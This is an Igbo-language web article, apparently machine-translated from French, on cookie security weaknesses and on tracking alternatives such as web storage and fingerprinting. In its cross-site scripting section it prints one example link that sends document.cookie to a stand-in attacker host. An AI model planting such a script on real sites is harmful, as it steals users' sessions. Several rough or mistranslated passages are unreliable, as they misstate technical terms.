Na mgbakwunye na okwu nzuzo, kuki nwekwara ụfọdụ ndọghachi azụ ọrụ. Karịsịa, ha anaghị achọpụta mgbe niile n'ụzọ ziri ezi ndị ọrụ, ha nwere ike belata arụmọrụ saịtị mgbe na ọnụ ọgụgụ buru ibu, ha nwere ike iji maka mwakpo nchebe, ha na-emegidekwa ndị nnọchite anya steeti nyefe, ụdị ụkpụrụ ụlọ nke ngwanrọ.

njirimara na-ezighi ezi

Ọ bụrụ na a na-eji ihe karịrị otu ihe nchọgharị na kọmputa, na nke ọ bụla n'ime ha, a na-enwe ebe nchekwa dị iche iche maka kuki. Ya mere, kuki anaghị achọpụta mmadụ, kama nchikota akaụntụ onye ọrụ, kọmputa na ihe nchọgharị weebụ. Yabụ, onye ọ bụla nwere ike iji akaụntụ, kọmpụta, ma ọ bụ ihe nchọgharị nwere kuki ndị a. N'otu aka ahụ, kuki anaghị ekewa n'etiti ọtụtụ ndị ọrụ na-ekerịta otu akaụntụ onye ọrụ, kọmputa, na ihe nchọgharị, dị ka "ụlọ ahịa ịntanetị" ma ọ bụ ebe ọ bụla na-enye ohere ịnweta akụrụngwa kọmputa n'efu.

Ma n'omume okwu a na-atụgharị na-abụ ụgha na ọtụtụ n'ime ikpe n'ihi na taa a "onwe" kọmputa (ma ọ bụ a smartphone, ma ọ bụ mbadamba, nke ka njọ) na-eji tumadi site na otu onye. site na olu ozi anakọtara bịarutere na ebumnuche ahaziri onwe ya ọbụlagodi na akọwapụtaghị onye ahụ “ya bụ”.

Kọmpụta ọzọ dị na netwọk nwere ike zuru kuki.

Mgbe a na-arụ ọrụ nkịtị, a na-eziga kuki azụ n'etiti sava (ma ọ bụ otu sava n'otu ngalaba) yana ihe nchọgharị kọmputa onye ọrụ. Ebe kuki nwere ike ịnwe ozi nwere mmetụta (aha njirimara, paswọọdụ ejiri maka nyocha, wdg), ụkpụrụ ha ekwesịghị ịnweta na kọmputa ndị ọzọ. Ohi kuki bụ omume nnabata nke kuki site n'aka ndị ọzọ na-akwadoghị.

Enwere ike izu ohi kuki site na ngwungwu sniffer na mwakpo a na-akpọ njide nnọkọ. Kọmputa ndị ọzọ na-abụghị ndị na-ezipụ na ịnata (karịsịa na oghere Wi-Fi ọha na-ezoghị ezo). Okporo ụzọ a gụnyere kuki ezigara n'oge site na iji protocol HTTP dị larịị. Mgbe ezobeghị okporo ụzọ netwọkụ, ndị ọrụ obi ọjọọ nwere ike si otú a gụọ ozi ndị ọrụ ndị ọzọ na netwọkụ ahụ site na iji "Packet sniffers".

Enwere ike imeri nsogbu a site na izochi njikọ dị n'etiti kọmputa onye ọrụ na ihe nkesa site na iji HTTPS protocol. Ihe nkesa nwere ike ezipụta a ọkọlọtọ echekwara mgbe ị na-edozi kuki; ihe nchọgharị ahụ ga-eziga ya naanị n'ahịrị echekwara, dị ka njikọ SSL.

Otú ọ dị, ọtụtụ saịtị, n'agbanyeghị na-eji HTTPS ezoro ezo nzikọrịta ozi maka njirimara njirimara (ya bụ ibe nbanye), emesia zipu kuki nnọkọ na data ndị ọzọ dị ka nke nkịtị, site na njikọ HTTP ezoro ezo maka ebumnuche arụmọrụ. Ndị mwakpo nwere ike igbochi kuki ndị ọrụ ndị ọzọ wee mee ka ha yie ha na saịtị kwesịrị ekwesị ma ọ bụ jiri ya na mwakpo kuki.

Ederede na saịtị: kuki kwesịrị ịgbanwere naanị n'etiti sava na onye ahịa ka a na-ezigara ndị ọzọ ọzọ.

Ụzọ ọzọ ị ga-esi zuo kuki bụ iji saịtị script wee mee ka ihe nchọgharị n'onwe ya ziga kuki na sava ọjọọ na-enwetaghị ha. Ihe nchọgharị ọgbara ọhụrụ na-enye ohere igbu akụkụ koodu ndị achọrọ na sava ahụ. Ọ bụrụ na enwetara kuki n'oge ọ na-agba ọsọ, enwere ike ịkọrọ ụkpụrụ ha n'ụdị ụfọdụ na sava ndị na-ekwesịghị ịnweta ha. Izochi kuki tupu ezipu ha na netwọk anaghị enyere aka igbochi mwakpo ahụ.

Ụdị edemede saịtị a na-abụkarị ndị na-awakpo na saịtị na-enye ndị ọrụ ohere bipute ọdịnaya HTML. Site na ijikọ akụkụ nke koodu dakọtara na ntinye HTML, onye na-awakpo nwere ike ịnata kuki n'aka ndị ọrụ ndị ọzọ. Enwere ike iji ihe ọmụma nke kuki ndị a site na iji kuki ndị ezuru iji jikọọ na saịtị ahụ, si otú a na-amata dị ka onye ọrụ nke ezuru kuki ya.

Otu ụzọ isi gbochie mwakpo dị otú ahụ bụ iji ọkọlọtọ HttpOnly; ọ bụ nhọrọ, ewepụtara kemgbe ụdị 6 nke Internet Explorer na PHP kemgbe ụdị 5.2.0 nke a na-eme atụmatụ ime kuki ahụ enweghị ike ịnweta onye ahịa nso na edemede ahụ. Agbanyeghị, ndị mmepe webụ kwesịrị iburu nke a n'uche na mmepe saịtị ha ka ha wee ghara ịdebanye aha na saịtị ahụ.

Ihe iyi egwu nchekwa ọzọ ejiri bụ imepụta ihe na saịtị ahụ.

Nkọwapụta nka nka gọọmentị na-enye ohere ka iziga kuki azụ naanị na sava dị na ngalaba nke ha siri pụta. Agbanyeghị, enwere ike izipu uru kuki na sava ndị ọzọ site na iji ụzọ ndị ọzọ karịa isi kuki.

Karịsịa, a na-ahapụkarị asụsụ scripting dị ka JavaScript ka ha nweta ụkpụrụ kuki ma nwee ike izipu ụkpụrụ aka ike na sava ọ bụla na ịntanetị. A na-eji ike edemede a sitere na webụsaịtị na-enye ndị ọrụ ohere bipute ọdịnaya HTML maka ndị ọrụ ndị ọzọ ka ha lelee.

Dịka ọmụmaatụ, onye na-awakpo na-arụ ọrụ na ngalaba example.com nwere ike biputere okwu nwere njikọ ndị a na-arụtụ aka na blọgụ ewu ewu nke ha anaghị ejikwa:

<a href="#" onclick="window.location = 'http://exemple.com/stole.cgi?text=' + escape(document.cookie); return false;">Cliquez ici !</a>

Mgbe onye ọrụ ọzọ pịrị na njikọ a, ihe nchọgharị ahụ na-eme akụkụ nke pịa aka nke koodu ahụ, yabụ ọ na-eji ndepụta kuki ndị ọrụ na-arụ ọrụ maka ibe a dochie eriri kuki. Ya mere, a na-eziga ndepụta kuki a na ihe nkesa example.com, ya mere onye mwakpo ahụ nwere ike ịnakọta kuki nke onye ọrụ a.

Ụdị ọgụ a siri ike ịchọta n'akụkụ onye ọrụ n'ihi na edemede ahụ sitere n'otu ngalaba ahụ na-edozi kuki, na ọrụ izipu ụkpụrụ na-egosi na ngalaba ahụ nyere ikike. A na-ewere na ọ bụ ọrụ nke ndị nchịkwa na-arụ ọrụ ụdị saịtị a iji tinye ihe mgbochi na-egbochi mbipụta nke koodu ọjọọ.

A naghị ahụ kuki ozugbo na mmemme akụkụ ndị ahịa dị ka JavaScript ma ọ bụrụ na ejiri ọkọlọtọ HttpOnly zitere ha. Site n'echiche nke ihe nkesa, naanị ihe dị iche bụ na n'ahịrị nke nkụnye eji isi mee kuki Set-Cookie agbakwunyere ubi ọhụrụ nwere eriri HttpOnly:

Set-Cookie: RMID=732423sdfs73242; expires=Fri, 31-Dec-2010 23:59:59 GMT; path=/; domain=.exemple.net; HttpOnly

Mgbe ihe nchọgharị ahụ nwetara kuki dị otú ahụ, ekwesịrị iji ya na-emekarị na mgbanwe HTTP na-esote, mana na-emeghị ka ọ pụta ìhè na edemede ndị e gburu n'akụkụ ndị ahịa. Ọkọlọtọ HttpOnly abụghị akụkụ nke nkọwa nka nka ọ bụla, anaghị etinye ya na ihe nchọgharị niile. Rịba ama na ugbu a enweghị ụzọ iji gbochie ịgụ na ide kuki nnọkọ site na usoro XMLHTTPRequest.

Mgbanwe nke ọdịnaya: onye na-awakpo na-eziga kuki na-ezighi ezi na sava, ikekwe sitere na kuki ziri ezi nke sava zitere.

Ozugbo ekwesịrị ịchekwa kuki ma weghachite na-agbanweghị na sava ahụ, onye na-awakpo nwere ike gbanwee uru kuki ahụ tupu ezighachi ha na sava ahụ. Dịka ọmụmaatụ, ọ bụrụ na kuki nwere ngụkọta ọnụ ahịa onye ọrụ ga-akwụ maka ihe ndị etinyere n'ime ụgbọ ahịa ụlọ ahịa, ịgbanwe uru a na-ekpughe ihe nkesa ahụ n'ihe ize ndụ nke ịcha onye na-awakpo ihe na-erughị ọnụahịa mmalite. A na-akpọ usoro ịmegharị uru kuki nsị kuki enwere ike iji ya emechaa zuo ohi kuki iji mee ka ọgụ ahụ na-aga n'ihu.

N'ime usoro mbufe kuki, onye mwakpo ahụ na-erigbu ihe nchọgharị iji zipu kuki na-ezighi ezi na sava ahụ.

Ọtụtụ webụsaịtị, Otú ọ dị, na-echekwa naanị NJ nnọkọ - ọnụọgụ pụrụ iche ewepụtara na-enweghị usoro eji achọpụta onye ọrụ nnọkọ - na kuki n'onwe ya, ebe echekwara ozi ndị ọzọ niile na sava ahụ. N'okwu a, a na-edozi nsogbu a n'ụzọ dị ukwuu.

A na-atụ anya na saịtị ọ bụla nwere kuki nke ya, yabụ otu saịtị agaghị enwe ike gbanwee ma ọ bụ mepụta kuki jikọtara na saịtị ọzọ. Mmejọ nchekwa ihe nchọgharị weebụ nwere ike ikwe ka saịtị ọjọọ mebie iwu a. A na-akpọkarị nrigbu ụdị ntụpọ ahụ dị ka obe-saịtị nri. Ebumnuche nke mwakpo dị otú ahụ nwere ike ịbụ izu ohi ID nnọkọ.

Ndị ọrụ kwesịrị iji ụdị ihe nchọgharị weebụ kachasị ọhụrụ nke a na-ekpochapụ ihe adịghị ike ndị a.

Ọnọdụ esemokwu n'etiti onye ahịa na ihe nkesa

Ojiji kuki nwere ike ịkpata esemokwu n'etiti steeti onye ahịa na steeti echekwara na kuki. Ọ bụrụ na onye ọrụ nweta kuki wee pịa bọtịnụ "Back" nke ihe nchọgharị ahụ, ọnọdụ ihe nchọgharị anaghị adị ka ọ dị tupu ọ nweta ya. Dịka ọmụmaatụ, ọ bụrụ na ejiri kuki mepụta nkata nke ụlọ ahịa dị n'ịntanetị na-eji kuki, ọdịnaya nke nkata enweghị ike ịgbanwe mgbe onye ọrụ laghachiri na akụkọ ihe nchọgharị: ma ọ bụrụ na onye ọrụ pịa bọtịnụ ka ịgbakwunye akụkọ n'ime nkata ya wee pịa "Laghachite". "bọtịnụ, akụkọ a na-anọgide na nke a. Nke a nwere ike ọ gaghị abụ ebumnuche onye ọrụ, onye chọrọ n'ezie ịkagbu mgbakwunye nke akụkọ ahụ. Nke a nwere ike ibute enweghị ntụkwasị obi, mgbagwoju anya, na ahụhụ. Ya mere, ndị mmepe weebụ kwesịrị ịma nsogbu a ma mejuputa usoro iji dozie ọnọdụ ndị dị otú a.

Ndị ọkachamara nchekwa nzuzo katọrọ kuki na-adịgide adịgide maka na edobeghi ya ka ọ ga-ekubi ngwa ngwa, si otú a na-enye ohere weebụsaịtị soro ndị ọrụ wee wulite profaịlụ ha ka oge na-aga. Akụkụ kuki a bụkwa akụkụ nke nsogbu mwepu nnọkọ, n'ihi na kuki na-adịgide adịgide nwere ike iji kuki na-adịgide adịgide mee ka onye ọrụ were ogologo oge.

Iji gụọ kwa: GAFAM: Ole ndị ka ha bụ? Gịnị kpatara na ha (mgbe ụfọdụ) na-atụ egwu?

Nhọrọ na kuki

Enwere ike ịrụ ụfọdụ ọrụ enwere ike iji kuki rụọ ọrụ site na iji usoro ndị ọzọ na-agafe kuki ma ọ bụ megharịa kuki ehichapụ, nke na-emepụta okwu nzuzo n'otu ụzọ ahụ (ma ọ bụ mgbe ụfọdụ ka njọ n'ihi na ahụ adịghị ahụ anya) karịa kuki.

Adreesị IP

Enwere ike soro ndị ọrụ jiri adreesị IP nke kọmputa na-akpọ ibe ahụ. Usoro a dị kemgbe mmalite nke World Wide Web, dị ka ibe na-ebudata ihe nkesa na-arịọ adreesị IP nke kọmputa na-eji ihe nchọgharị ma ọ bụ proxy, ma ọ bụrụ na ọ dịghị nke eji. Ihe nkesa ahụ nwere ike soro ozi a ma enwere kuki na-arụ ọrụ ma ọ bụ na enweghị. Agbanyeghị, adreesị ndị a anaghị atụkwasịkarị ntụkwasị obi n'ịchọpụta onye ọrụ karịa kuki n'ihi na ọtụtụ ndị ọrụ nwere ike ịkekọrịta kọmputa na proxies, otu kọmpụta ahụ nwere ike nweta adreesị IP dị iche na nnọkọ ọrụ ọ bụla (dịka c na-abụkarị maka njikọ ekwentị) .

Isochi site na adreesị IP nwere ike bụrụ ntụkwasị obi n'ọnọdụ ụfọdụ, dị ka njikọ brọdband na-ejigide otu adreesị IP ogologo oge, ọ bụrụhaala na ọkụ dị.

Ụfọdụ sistemu dị ka Tor ka emebere iji dobe aha ịntanetị na-amaghị aha wee mee ka nsuso site na adreesị IP agaghị ekwe omume ma ọ bụ na-agaghị ekwe omume.

URL

Usoro ziri ezi karịa dabere na itinye ozi na URL. Akụkụ ajụjụ nke URL bụ otu usoro a na-ejikarị maka ebumnuche a, mana enwere ike iji akụkụ ndị ọzọ. Ma sava Java na usoro nnọkọ PHP na-eji usoro a ma ọ bụrụ na etinyeghị kuki.

Usoro a gụnyere sava weebụ na-etinye arịrịọ eriri na njikọ nke ibe weebụ na-ebu ya mgbe ezigara ya na ihe nchọgharị ahụ. Mgbe onye ọrụ na-agbaso njikọ, ihe nchọgharị ahụ na-eweghachi eriri ajụjụ agbakwunyere na sava ahụ.

Ụdọ ajụjụ a na-eji maka ebumnuche a na kuki yikwara, ha abụọ bụ ozi nke ihe nkesa na-ahọrọ na aka aka ma ihe nchọgharị weghachiri. Otú ọ dị, e nwere ụfọdụ ndịiche: mgbe URL nwere eriri ajụjụ na-ejigharị, otu ozi ahụ na-ezigara na nkesa. Dịka ọmụmaatụ, ọ bụrụ na edobere mmasị onye ọrụ na eriri ajụjụ nke URL ma onye ọrụ na-eziga URL ahụ na onye ọrụ ọzọ site na email, onye ọrụ ahụ ga-enwekwa ike iji mmasị ndị ahụ.

N'aka nke ọzọ, mgbe onye ọrụ nwetara otu ibe ugboro abụọ, enweghị nkwa na a ga-eji otu eriri ajụjụ ahụ ugboro abụọ. Dịka ọmụmaatụ, ọ bụrụ na onye ọrụ rutere na ibe site na ibe saịtị nke mbụ wee daa n'otu ibe ahụ site na ibe mpụta oge nke abụọ, eriri ajụjụ metụtara ibe saịtị ahụ na-adị iche, ebe kuki bụ otu. .

Ọdịmma ndị ọzọ nke eriri ajụjụ metụtara nchekwa: idobe data nke na-achọpụta nnọkọ n'ime eriri ajụjụ na-enyere aka ma ọ bụ mee ka ọ dị mfe mwakpo ndozi nnọkọ, mwakpo nrụtụaka na-achọpụta, na nrigbu ndị ọzọ. Ịgafe NJ nnọkọ dị ka kuki HTTP dị nchebe karịa.

Ogige ụdị ezoro ezo

Otu ụdị nsochi nnọkọ, nke ASP.NET na-eji, bụ iji ụdị weebụ nwere oghere zoro ezo. Usoro a yiri nnọọ iji eriri ajụjụ URL na-ebu ozi ma nwee otu uru na ọghọm; ma ọ bụrụ na ejiri usoro HTTP GET hazie ụdị ahụ, mpaghara ahụ na-aghọ akụkụ nke URL nke ihe nchọgharị ahụ nke ga-eziga ya mgbe ị na-enyefe mpempe akwụkwọ ahụ. Mana ọtụtụ ụdị na-eji HTTP POST ahazi, nke na-eme ka agbakwunye ozi ụdị ahụ, gụnyere mpaghara zoro ezo, dịka ntinye agbakwunyere nke na-abụghị akụkụ nke URL ma ọ bụ kuki.

Ụzọ a nwere uru abụọ site na nlele anya: nke mbụ, nyochaa ozi etinyere na koodu isi HTML na ntinye POST karịa URL ga-ekwe ka onye ọrụ nkezi zere nsochi a; nke abụọ, a naghị edegharị ozi nnọkọ ahụ mgbe onye ọrụ depụtaghachiri URL (iji chekwaa ibe ahụ na diski ma ọ bụ zipu ya site na email, dịka ọmụmaatụ).

mpio.aha

Ihe nchọgharị weebụ niile nwere ike ịchekwa nnukwu data (2MB ruo 32MB) site na Javascript site na iji mpio aha DOM. Enwere ike iji data a kama kuki nnọkọ ma jirikwa ya n'ofe ngalaba. Enwere ike ijikọ usoro a na ihe JSON iji chekwaa usoro mgbagwoju anya nke mgbanwe nnọkọ n'akụkụ ndị ahịa.

N'akụkụ ala bụ na windo ma ọ bụ taabụ ọ bụla dị iche ga-ebu ụzọ nwee windo efu.name; mgbe ị na-eme nchọgharị site na taabụ (nke onye ọrụ meghere) nke a pụtara na taabụ mepere n'otu n'otu agaghị enwe aha windo. Na mgbakwunye, enwere ike iji window.name wee soro ndị ọbịa gafee saịtị dị iche iche nke nwere ike ibute nchegbu nzuzo.

N'akụkụ ụfọdụ nke a nwere ike ịdị nchebe karịa kuki, n'ihi enweghị ntinye aka nke ihe nkesa, si otú a na-eme ka ọ bụrụ ihe na-adịghị ike na netwọk netwọk nke kuki sniffer. Otú ọ dị, ọ bụrụ na a na-eme ihe pụrụ iche iji chebe data ahụ, ọ na-adị mfe maka mwakpo ndị ọzọ, dịka data dị site na saịtị ndị ọzọ meghere na otu windo ahụ.

Nyocha HTTP

Protocol HTTP gụnyere ụkpụrụ njirimara nnweta bụ isi yana mgbaze nyocha ohere, nke na-enye ohere ịnweta ibe weebụ naanị mgbe onye ọrụ nyere aha njirimara na paswọọdụ. Ọ bụrụ na ihe nkesa ahụ rịọrọ akwụkwọ ikike iji nye ohere ịnweta ibe weebụ, ihe nchọgharị ahụ na-arịọ ya n'aka onye ọrụ ma ozugbo enwetara ya, ihe nchọgharị ahụ na-echekwa ya ma zipụ ya na arịrịọ HTTP niile na-esote. Enwere ike iji ozi a soro onye ọrụ.

Ihe ekekọrịtara mpaghara

Ọ bụrụ na ihe nchọgharị na-agụnye ngwa mgbakwunye Adobe Flash Player, nke ahụ ihe mpaghara ekekọrịtara enwere ike iji maka otu ebumnuche dị ka kuki. Ha nwere ike ịbụ nhọrọ mara mma maka ndị mmepe webụ n'ihi:

  • oke nha nke ndabara maka ihe nkekọrịta mpaghara bụ 100 KB;
  • Nleba nchekwa dị iche na nlele kuki onye ọrụ (ya mere enwere ike ịhapụ ihe ndị na-ekekọrịta mpaghara mgbe anaghị kuki kuki).

Isi ihe ikpeazụ a, nke na-ekewa amụma njikwa kuki na nke ihe ndị Adobe nwere ikesa na-ewelite ajụjụ gbasara njikwa site n'aka onye ọrụ nke ntọala nzuzo ya: ọ ghaghị ịma na njikwa kuki ya enweghị mmetụta na njikwa ihe ndị na-ekekọrịta mpaghara, na ntụgharị.

Nkatọ ọzọ nke usoro a bụ na enwere ike iji ya naanị site na ngwa mgbakwunye Adobe Flash Player bụ nke nwe ya na ọ bụghị ọkọlọtọ weebụ.

Nkwụsi ike n'akụkụ ndị ahịa

Ụfọdụ ihe nchọgharị weebụ na-akwado usoro nkwụsi ike dabere na edemede, nke na-enye ohere ka ibe ahụ chekwaa ozi na mpaghara maka ojiji emechaa. Dịka ọmụmaatụ, Internet Explorer na-akwado ozi na-adịgide adịgide na akụkọ ihe nchọgharị, ibe edokọbara, n'ụdị echekwara na XML, ma ọ bụ jiri ibe weebụ echekwara na diski ozugbo. Maka Microsoft Internet Explorer 5, enwere usoro data onye ọrụ dị site na omume DHTML.

W3C webatara na HTML 5 API Javascript ọhụrụ maka nchekwa data n'akụkụ ndị ahịa nke a na-akpọ nchekwa Weebụ na ebumnuche iji dochie kuki kpamkpam. Ọ dị ka kuki mana ọ nwere ikike emelitere nke ukwuu yana na-echekwaghị ozi na isi nke arịrịọ HTTP. API na-enye ohere ụdị nchekwa weebụ abụọ: nchekwa mpaghara na nchekwa oge, dị ka kuki na-adịgide adịgide na kuki nnọkọ (belụsọ kuki nnọkọ ahụ na-ekubi ume mgbe emechiri ihe nchọgharị ahụ mgbe emechiri emechi. nchekwa oge kubie ume mgbe emechiri taabụ), n'otu n'otu. Mozilla Firefox 3.5, Google Chrome 5, Apple Safari 4, Microsoft Internet Explorer 8 na Opera 10.50 na-akwado nchekwa weebụ.

Usoro dị iche na-adaberekarị na caching ihe nchọgharị (na ebe nchekwa karịa ume ọhụrụ) site na iji mmemme Javascript na ibe weebụ. 

Dịka ọmụmaatụ, ibe nwere ike ịnwe mkpado . La première fois que la page se charge, le programme exemple.js est aussi chargé. 

N'oge a, mmemme ahụ na-anọgide na ebe nchekwa cache na ibe a na-eleta anaghị ebughachi ya ugboro abụọ. N'ihi nke a, ọ bụrụ na mmemme nwere mgbanwe zuru ụwa ọnụ (dịka ọmụmaatụ var id = 3243242;), ihe nchọpụta a ka dị irè ma enwere ike iji ya mee ihe site na koodu Javascript ndị ọzọ ozugbo ebudatara ibe ahụ ọzọ, ma ọ bụ ozugbo ibe na-ejikọta mmemme ahụ. 

Ihe ọghọm dị na usoro a bụ na JavaScript ngbanwe zuru ụwa ọnụ ga-abụrịrị ihe kwụ ọtọ, nke pụtara enweghị ike ịgbanwe ma ọ bụ hichapụ ya dị ka kuki.

akara mkpịsị aka ihe nchọgharị weebụ

Mkpisi aka ihe nchọgharị bụ ozi anakọtara gbasara ntọala nhazi ihe nchọgharị maka ebumnuche njirimara. Enwere ike iji akara mkpisiaka ndị a iji chọpụta onye ọrụ ịntanetị ma ọ bụ ngwaọrụ n'ụzọ zuru ezu ma ọ bụ akụkụ ụfọdụ ọbụlagodi mgbe kuki nwere nkwarụ.

Ọ dịla anya ọrụ ndị na-ege ntị webụsaịtị anakọtara ozi nhazi ihe nchọgharị weebụ bụ isi maka ebumnuche iji tụọ okporo ụzọ webụ mmadụ nke ọma na ịchọpụta ụdị aghụghọ dị iche iche. Site n'enyemaka nke asụsụ scripting n'akụkụ ndị ahịa, ịchịkọta ozi ziri ezi karịa ugbu a kwere omume.

Ịtụgharị ozi a n'ime obere eriri na-emepụta akara mkpịsị aka ngwaọrụ. Na 2010, Eletrọnịkị Frontier Foundation (EFF) tụrụ entropy nke akara mkpisiaka ihe nchọgharị ka ọ dịkarịa ala. 18,1 ibe n'ibe, na nke ahụ bụ tupu ọganiru na nbipụta mkpịsị aka kwaaji agbakwunyere 5,7 bit na entropy ahụ.

Kuki na nkenke

Kuki bụ obere faịlụ ederede nke ihe nchọgharị weebụ na-echekwa na draịvụ ike onye ọbịa webụsaịtị na nke a na-eji (n'etiti ihe ndị ọzọ) iji dekọọ ozi gbasara onye ọbịa ma ọ bụ njem ha na saịtị ahụ. Onye na-ahụ maka webụsaịtị nwere ike mata omume onye ọbịa wee hazie ihe ngosi nke saịtị ya maka onye ọbịa ọ bụla; kuki na-eme ka o kwe omume icheta akụkọ ole a ga-egosipụta na ibe mbụ ma ọ bụ ọbụna iji jide nzere nbanye maka onye ọ bụla nke onwe: mgbe onye ọbịa ahụ laghachiri na saịtị ahụ, ọ dịghịkwa mkpa ka ọ pịnye aha na paswọọdụ ya. mara, ebe ọ bụ na a na-agụ ha na kuki ozugbo.

Kuki nwere obere ndụ ndụ, nke onye nrụpụta saịtị setịpụrụ. Ha nwekwara ike kubie ume na njedebe nke nnọkọ na saịtị ahụ, nke kwekọrọ na mmechi nke ihe nchọgharị ahụ. A na-eji kuki eme ihe n'ọtụtụ ebe iji mee ka ndụ dịrị ndị ọbịa mfe ma nye ha ozi ndị ka mkpa. Ma usoro pụrụ iche na-eme ka o kwe omume iso onye ọbịa na saịtị dị iche iche wee si otú a na-anakọta na ịgafe ozi dị ukwuu banyere àgwà ya. Usoro a enyela iji kuki aha aha dị ka usoro onyunyo nke na-emebi nzuzo nke ndị ọbịa, nke dị mwute ikwu na ọ dabara na eziokwu n'ọtụtụ ọnọdụ eji eme ihe maka ihe na-abụghị teknụzụ ma ọ bụ na-asọpụrụ atụmanya ndị ọrụ. .

Na nzaghachi nye egwu ndị a ziri ezi, HTML 5 na-ewebata API JavaScript ọhụrụ maka nchekwa data n'akụkụ ndị ahịa nke a na-akpọ nchekwa Weebụ, nke dị nchebe karịa ma nwee ikike dị ukwuu, nke chọrọ iji dochie kuki.

Nchekwa kuki

Site na ụfọdụ ihe nchọgharị, kuki na-adị mfe edezi, onye na-edezi ederede dị mfe dị ka Notepad ezuola iji aka gbanwee ụkpụrụ ya.

A na-echekwa kuki dị iche iche dabere na ihe nchọgharị:

  • Microsoft Internet Explorer na-echekwa kuki ọ bụla na faịlụ dị iche iche;
  • Mozilla Firefox na-echekwa kuki ya niile n'otu faịlụ;
  • opera na-echekwa kuki ya niile n'otu faịlụ wee zoo ha (agaghị ekwe omume ịgbanwe ha ma e wezụga na nhọrọ ngwanrọ);
  • Apple Safari na-echekwa kuki ya niile n'otu faịlụ ndọtị .plist. Mgbanwe ga-ekwe omume mana ọ dịghị mfe, ọ gwụla ma ị ga-esi na nhọrọ ngwanrọ.

Achọrọ ihe nchọgharị iji kwado minima :

  • 300 kuki n'otu oge;
  • 4 o kwa kuki;
  • Kuki 20 kwa onye ọbịa ma ọ bụ ngalaba.
[Ọnụ: 0 Pụtara: 0]

dere Nyocha ndị editọ

Otu ndị editọ ọkachamara na-eji oge ha enyocha ngwaahịa, na-eme nnwale dị irè, na-agba ndị ọkachamara ụlọ ọrụ ajụjụ ọnụ, na-enyocha nyocha ndị ahịa, ma na-ede nsonaazụ anyị niile dị ka nchịkọta nwere nghọta na nke zuru ezu.

Laisser un commentaire

Adreesị email gị agaghị ebipụta. Chọrọ ubi na- *

Kedu ihe ị chere?

384 Points
Upvote Ndabere